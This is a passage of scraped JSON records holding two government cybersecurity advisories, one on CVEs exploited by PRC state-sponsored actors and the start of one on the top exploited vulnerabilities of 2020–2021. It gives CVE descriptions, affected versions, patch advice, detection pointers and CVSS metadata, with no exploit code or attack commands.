\n\nCVE-2019-19781\n\n| \n\nPath Traversal \n \nCisco Hyperflex\n\n| \n\nCVE-2021-1497\n\n| \n\nCommand Line Execution \n \nBuffalo WSR\n\n| \n\nCVE-2021-20090\n\n| \n\nRelative Path Traversal \n \nAtlassian Confluence Server and Data Center\n\n| \n\nCVE-2021-26084\n\n| \n\nRemote Code Execution \n \nHikvision Webserver\n\n| \n\nCVE-2021-36260\n\n| \n\nCommand Injection \n \nSitecore XP\n\n| \n\nCVE-2021-42237\n\n| \n\nRemote Code Execution \n \nF5 Big-IP\n\n| \n\nCVE-2022-1388\n\n| \n\nRemote Code Execution \n \nApache\n\n| \n\nCVE-2022-24112\n\n| \n\nAuthentication Bypass by Spoofing \n \nZOHO\n\n| \n\nCVE-2021-40539\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-26857\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-26858\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-27065\n\n| \n\nRemote Code Execution \n \nApache HTTP Server\n\n| \n\nCVE-2021-41773\n\n| \n\nPath Traversal \n \nThese state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see [People\u2019s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices](<https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3055748/nsa-cisa-and-fbi-expose-prc-state-sponsored-exploitation-of-network-providers-d/>).\n\n### Mitigations\n\nNSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.\n\n * Update and patch systems as soon as possible. Prioritize patching vulnerabilities identified in this CSA and other [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n * Utilize phishing-resistant multi-factor authentication whenever possible. Require all accounts with password logins to have strong, unique passwords, and change passwords immediately if there are indications that a password may have been compromised. \n * Block obsolete or unused protocols at the network edge. \n * Upgrade or replace end-of-life devices.\n * Move toward the Zero Trust security model. \n * Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity. \n\n\n## Appendix A\n\n_Table II: Apache CVE-2021-44228_\n\nApache CVE-2021-44228 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nApache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects. \n \n_Recommended Mitigations_\n\n * Apply patches provided by vendor and perform required system updates. \n \n_Detection Methods_\n\n * See vendor\u2019s [Guidance For Preventing, Detecting, and Hunting for Exploitation of the Log4j 2 Vulnerability](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>). \n \n_Vulnerable Technologies and Versions_\n\nThere are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check <https://nvd.nist.gov/vuln/detail/CVE-2021-44228>. \n \n_Table III: Pulse CVE-2019-11510_\n\nPulse CVE-2019-11510 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability. \n \n_Recommended Mitigations_\n\n * Apply patches provided by vendor and perform required system updates. \n \n_Detection Methods_\n\n * Use CISA\u2019s \u201cCheck Your Pulse\u201d Tool. \n \n_Vulnerable Technologies and Versions_\n\nPulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 \n \n_Table IV: GitLab CVE-2021-22205_\n\nGitLab CVE-2021-22205 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nAn issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution. \n \n_Recommended Mitigations_\n\n * Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab.\n * Hotpatch is available via GitLab. \n \n_Detection Methods_\n\n * Investigate logfiles.\n * Check GitLab Workhorse. \n \n_Vulnerable Technologies and Versions_\n\nGitlab CE/EE. \n \n_Table V: Atlassian CVE-2022-26134_\n\nAtlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1. \n \n_Recommended Mitigations_\n\n * Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions. \n * Ensure Internet-facing servers are up-to-date and have secure compliance practices. \n * Short term workaround is provided [here](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>). \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nAll supported versions of Confluence Server and Data Center\n\nConfluence Server and Data Center versions after 1.3.0 \n \n_Table VI: Microsoft CVE-2021-26855_\n\nMicrosoft CVE-2021-26855 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity. \n \n_Recommended Mitigations_\n\n * Apply the appropriate Microsoft Security Update.\n * Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871)\n * Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871)\n * Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871)\n * Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871)\n * Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871)\n * Restrict untrusted connections. \n \n_Detection Methods_\n\n * Analyze Exchange product logs for evidence of exploitation.\n * Scan for known webshells. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange 2013, 2016, and 2019. \n \n_Table VII: F5 CVE-2020-5902_\n\nF5 CVE-2020-5902 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. \n \n_Recommended Mitigations_\n\n * Apply FY BIG-IP Update.\n * Restrict access to the configuration utility. \n \n_Detection Methods_\n\n * Use F5\u2019s [CVE-2020-5902 IoC Detection Tool](<https://github.com/f5devcentral/cve-2020-5902-ioc-bigip-checker/>).\n * Additional detection methods can be found at <https://support.f5.com/csp/article/K52145254>. \n \n_Vulnerable Technologies and Versions_\n\nF5 Big-IP Access Policy Manager\n\nF5 Big-IP Advanced Firewall Manager\n\nF5 Big-IP Advanced Web Application Firewall\n\nF5 Big-IP Analytics\n\nF5 Big-IP Application Acceleration Manager\n\nF5 Big-IP Application Security Manager\n\nF5 Big-IP Ddos Hybrid Defender\n\nF5 Big-IP Domain Name System (DNS)\n\nF5 Big-IP Fraud Protection Service (FPS)\n\nF5 Big-IP Global Traffic Manager (GTM)\n\nF5 Big-IP Link Controller\n\nF5 Networks Big-IP Local Traffic Manager (LTM)\n\nF5 Big-IP Policy Enforcement Manager (PEM)\n\nF5 SSL Orchestrator \n \n_References_\n\n<https://support.f5.com/csp/article/K00091341>\n\n<https://support.f5.com/csp/article/K07051153>\n\n<https://support.f5.com/csp/article/K20346072>\n\n<https://support.f5.com/csp/article/K31301245>\n\n<https://support.f5.com/csp/article/K33023560>\n\n<https://support.f5.com/csp/article/K43638305>\n\n<https://support.f5.com/csp/article/K52145254>\n\n<https://support.f5.com/csp/article/K82518062> \n \n_Table VIII: VMware CVE-2021-22005_\n\nVMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThe vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file. \n \n_Recommended Mitigations_\n\n * Apply Vendor Updates. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nVMware Cloud Foundation\n\nVMware VCenter Server \n \n_Table IX: Citrix CVE-2019-19781_\n\nCitrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. \n \n_Recommended Mitigations_\n\n * Apply vendor [mitigations](<https://support.citrix.com/article/CTX267679/mitigation-steps-for-cve201919781>).\n * Use the CTX269180 - [CVE-2019-19781 Verification Tool](<https://support.citrix.com/article/CTX269180/cve201919781-verification-tool>) provided by Citrix. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nCitrix ADC, Gateway, and SD-WAN WANOP \n \n_Table X: Cisco CVE-2021-1497_\n\nCisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nMultiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory. \n \n_Recommended Mitigations_\n\n * Apply Cisco software updates. \n \n_Detection Methods_\n\n * Look at the Snort [Rules](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR#details>) provided by Cisco. \n \n_Vulnerable Technologies and Versions_\n\nCisco Hyperflex Hx Data Platform 4.0(2A) \n \n_Table XI: Buffalo CVE-2021-20090_\n\nBuffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nA path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication. \n \n_Recommended Mitigations_\n\n * Update firmware to latest available version. \n \n_Detection Methods_\n\n * N/A \n \n_Vulnerable Technologies and Versions_\n\nBuffalo Wsr-2533Dhpl2-Bk Firmware\n\nBuffalo Wsr-2533Dhp3-Bk Firmware \n \n_Table XII: Atlassian CVE-2021-26084_\n\nAtlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5. \n \n_Recommended Mitigations_\n\n * Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0.\n * Avoid using end-of-life devices.\n * Use Intrusion Detection Systems (IDS). \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nAtlassian Confluence\n\nAtlassian Confluence Server\n\nAtlassian Data Center\n\nAtlassian Jira Data Center \n \n_Table XIII: Hikvision CVE-2021-36260_\n\nHikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands. \n \n_Recommended Mitigations_\n\n * Apply the latest firmware updates. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nVarious Hikvision Firmware to include Ds, Ids, and Ptz \n \n_References_\n\n<https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260> \n \n_Table XIV: Sitecore CVE-2021-42237_\n\nSitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nSitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability. \n \n_Recommended Mitigations_\n\n * Update to latest version.\n * Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx. \n \n_Detection Methods_\n\n * N/A \n \n_Vulnerable Technologies and Versions_\n\nSitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2\n\nSitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7\n\nSitecore Experience Platform 8.0 Service Pack 1\n\nSitecore Experience Platform 8.1, and Update 1-Update 3\n\nSitecore Experience Platform 8.2, and Update 1-Update 7 \n \n_Table XV: F5 CVE-2022-1388_\n\nF5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. \n \n_Recommended Mitigations_\n\n * Block iControl REST access through the self IP address.\n * Block iControl REST access through the management interface.\n * Modify the BIG-IP httpd configuration. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nBig IP versions:\n\n16.1.0-16.1.2\n\n15.1.0-15.1.5\n\n14.1.0-14.1.4\n\n13.1.0-13.1.4\n\n12.1.0-12.1.6\n\n11.6.1-11.6.5 \n \n_Table XVI: Apache CVE-2022-24112_\n\nApache CVE-2022-24112 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nA malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed. \n \n_Recommended Mitigations_\n\n * In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX.\n * Update to 2.10.4 or 2.12.1. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nApache APISIX between 1.3 and 2.12.1 (excluding 2.12.1)\n\nLTS versions of Apache APISIX between 2.10.0 and 2.10.4 \n \n_Table XVII: ZOHO CVE-2021-40539_\n\nZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nZoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution. \n \n_Recommended Mitigations_\n\n * Upgrade to latest version. \n \n_Detection Methods_\n\n * Run ManageEngine\u2019s detection tool.\n * Check for specific files and [logs](<https://www.manageengine.com/products/self-service-password/advisory/CVE-2021-40539.html>). \n \n_Vulnerable Technologies and Versions_\n\nZoho Corp ManageEngine ADSelfService Plus \n \n_Table XVIII: Microsoft CVE-2021-26857_\n\nMicrosoft CVE-2021-26857 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security.\n * Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_Table XIX: Microsoft CVE-2021-26858_\n\nMicrosoft CVE-2021-26858 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n * Hashes can be found here: <https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log>. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_Table XX: Microsoft CVE-2021-27065_\n\nMicrosoft CVE-2021-27065 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n * Hashes can be found here: <https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log>. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_References_\n\n<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065> \n \n_Table XXI: Apache CVE-2021-41773_\n\nApache CVE-2021-41773 CVSS 3.0: 7.5 (High) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied,\" these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013). \n \n_Recommended Mitigations_\n\n * Apply update or patch. \n \n_Detection Methods_\n\n * Commercially available scanners can detect CVE. \n \n_Vulnerable Technologies and Versions_\n\nApache HTTP Server 2.4.49 and 2.4.50\n\nFedoraproject Fedora 34 and 35\n\nOracle Instantis Enterprise Track 17.1-17.3\n\nNetapp Cloud Backup \n \n### Revisions\n\nInitial Publication: October 6, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-06T12:00:00", "type": "ics", "title": "Top CVEs Actively Exploited By People\u2019s Republic of China State-Sponsored Cyber Actors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-06T12:00:00", "id": "AA22-279A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-279a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:31:18", "description": "### Summary\n\nThis Joint Cybersecurity Advisory was coauthored by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom\u2019s National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI). \n\nThis advisory provides details on the top 30 vulnerabilities\u2014primarily Common Vulnerabilities and Exposures (CVEs)\u2014routinely exploited by malicious cyber actors in 2020 and those being widely exploited thus far in 2021. \n\nCyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide. However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system. \n\nClick here for a PDF version of this report.\n\n### Technical Details\n\n### Key Findings\n\nIn 2020, cyber actors readily exploited recently disclosed vulnerabilities to compromise unpatched systems. Based on available data to the U.S. Government, a majority of the top vulnerabilities targeted in 2020 were disclosed during the past two years. Cyber actor exploitation of more recently disclosed software flaws in 2020 probably stems, in part, from the expansion of remote work options amid the COVID-19 pandemic. The rapid shift and increased use of remote work options, such as virtual private networks (VPNs) and cloud-based environments, likely placed additional burden on cyber defenders struggling to maintain and keep pace with routine software patching.\n\n**Four of the most targeted vulnerabilities in 2020 affected remote work, VPNs, or cloud-based technologies. **Many VPN gateway devices remained unpatched during 2020, with the growth of remote work options challenging the ability of organizations to conduct rigorous patch management.\n\nCISA, ACSC, the NCSC, and FBI consider the vulnerabilities listed in table 1 to be the topmost regularly exploited CVEs by cyber actors during 2020. \n\n_Table 1:Top Routinely Exploited CVEs in 2020_\n\nVendor\n\n| \n\nCVE\n\n| \n\nType \n \n---|---|--- \n \nCitrix\n\n| \n\nCVE-2019-19781\n\n| \n\narbitrary code execution \n \nPulse\n\n| \n\nCVE 2019-11510\n\n| \n\narbitrary file reading \n \nFortinet\n\n| \n\nCVE 2018-13379\n\n| \n\npath traversal \n \nF5- Big IP\n\n| \n\nCVE 2020-5902\n\n| \n\nremote code execution (RCE) \n \nMobileIron\n\n| \n\nCVE 2020-15505\n\n| \n\nRCE \n \nMicrosoft\n\n| \n\nCVE-2017-11882\n\n| \n\nRCE \n \nAtlassian\n\n| \n\nCVE-2019-11580\n\n| \n\nRCE \n \nDrupal\n\n| \n\nCVE-2018-7600\n\n| \n\nRCE \n \nTelerik\n\n| \n\nCVE 2019-18935\n\n| \n\nRCE \n \nMicrosoft\n\n| \n\nCVE-2019-0604\n\n| \n\nRCE \n \nMicrosoft\n\n| \n\nCVE-2020-0787\n\n| \n\nelevation of privilege \n \nMicrosoft\n\n| \n\nCVE-2020-1472\n\n| \n\nelevation of privilege \n \nIn 2021, malicious cyber actors continued to target vulnerabilities in perimeter-type devices. Among those highly exploited in 2021 are vulnerabilities in Microsoft, Pulse, Accellion, VMware, and Fortinet.\n\nCISA, ACSC, the NCSC, and FBI assess that public and private organizations worldwide remain vulnerable to compromise from the exploitation of these CVEs. Malicious cyber actors will most likely continue to use older known vulnerabilities, such as CVE-2017-11882 affecting Microsoft Office, as long as they remain effective and systems remain unpatched. Adversaries\u2019 use of known vulnerabilities complicates attribution, reduces costs, and minimizes risk because they are not investing in developing a zero-day exploit for their exclusive use, which they risk losing if it becomes known. \n\nOrganizations are encouraged to remediate or mitigate vulnerabilities as quickly as possible to reduce the risk of exploitation. Most can be remediated by patching and updating systems. Organizations that have not remediated these vulnerabilities should investigate for the presence of IOCs and, if compromised, initiate incident response and recovery plans. See the Contact Information section below for how to reach CISA to report an incident or request technical assistance.\n\n### 2020 CVEs\n\nCISA, ACSC, the NCSC, and FBI have identified the following as the topmost exploited vulnerabilities by malicious cyber actors from 2020: CVE-2019-19781, CVE-2019-11510, CVE-2018-13379, CVE-2020-5902, CVE-2020-15505, CVE-2020-0688, CVE-2019-3396, CVE-2017-11882, CVE-2019-11580, CVE-2018-7600, CVE 2019-18935, CVE-2019-0604, CVE-2020-0787, CVE-2020-1472.[[1](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>)][[2](<https://media.defense.gov/2021/May/07/2002637232/-1/-1/0/ADVISORY FURTHER TTPS ASSOCIATED WITH SVR CYBER ACTORS.PDF>)][[3](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>)] Among these vulnerabilities, CVE-2019-19781 was the most exploited flaw in 2020, according to U.S. Government technical analysis.CVE-2019-19781 is a recently disclosed critical vulnerability in Citrix\u2019s Application Delivery Controller (ADC)\u2014a load balancing application for web, application, and database servers widely use throughout the United States.[[4](<https://www.cyber.gov.au/acsc/view-all-content/advisories/2020-001-4-remediation-critical-vulnerability-citrix-application-delivery-controller-and-citrix-gateway>)][[5](<https://www.ncsc.gov.uk/news/citrix-alert>)] Nation-state and criminal cyber actors most likely favor using this vulnerability because it is easy to exploit, Citrix servers are widespread, and exploitation enables the actors to perform unauthorized RCE on a target system.[[6](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)] \n\nIdentified as emerging targets in early 2020,[[7](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)] unremediated instances of CVE-2019-19781 and CVE-2019-11510 continued to be exploited throughout the year by nation-state advanced persistent threat actors (APTs) who leveraged these and other vulnerabilities, such as CVE-2018-13379[[8](<https://www.cyber.gov.au/acsc/view-all-content/alerts/apt-exploitation-fortinet-vulnerabilities>)][[9](<https://www.ncsc.gov.uk/news/critical-risk-unpatched-fortinet-vpn-devices>)], in VPN services[[10](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/Mitigating Recent VPN Vulnerabilities - Copy.pdf>)][[11](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)] to compromise an array of organizations, including those involved in COVID-19 vaccine development.[[12]](<https://media.defense.gov/2020/Jul/16/2002457639/-1/-1/0/NCSC_APT29_ADVISORY-QUAD-OFFICIAL-20200709-1810.PDF>)[[13](<https://www.cyber.gov.au/acsc/view-all-content/advisories/summary-tactics-techniques-and-procedures-used-target-australian-networks>)]\n\nThe CVE-2019-11510 vulnerability in Pulse Connect Secure VPN was also frequently targeted by nation-state APTs. Actors can exploit the vulnerability to steal the unencrypted credentials for all users on a compromised Pulse VPN server and retain unauthorized credentials for all users on a compromised Pulse VPN server and can retain unauthorize access after the system is patched unless all compromised credentials are changed. Nation-state APTs also commonly exploited CVE-2020-15505 and CVE-2020-5902.[[14](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)][[15](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)][[16](<https://www.cisa.gov/blog/2020/07/16/emergency-directive-ed-20-03-windows-dns-server-vulnerability>)][[17](<https://www.ncsc.gov.uk/news/alert-multiple-actors-attempt-exploit-mobileiron-vulnerability>)]\n\n### 2021 CVEs\n\nIn 2021, cyber actors continued to target vulnerabilities in perimeter-type devices. In addition to the 2020 CVEs listed above, organizations should prioritize patching for the following CVEs known to be exploited. \n\n * **Microsoft Exchange: **CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 \n * See CISA\u2019s Alert: Mitigate Microsoft Exchange Server Vulnerabilities for more information on identifying and mitigating malicious activity concerning these vulnerabilities.\n * **Pulse Secure:** CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900 \n * See CISA\u2019s Alert: Exploitation of Pulse Connect Secure Vulnerabilities for more information on how to investigate and mitigate this malicious activity.\n * **Accellion:** CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104 \n * See the Australia-New 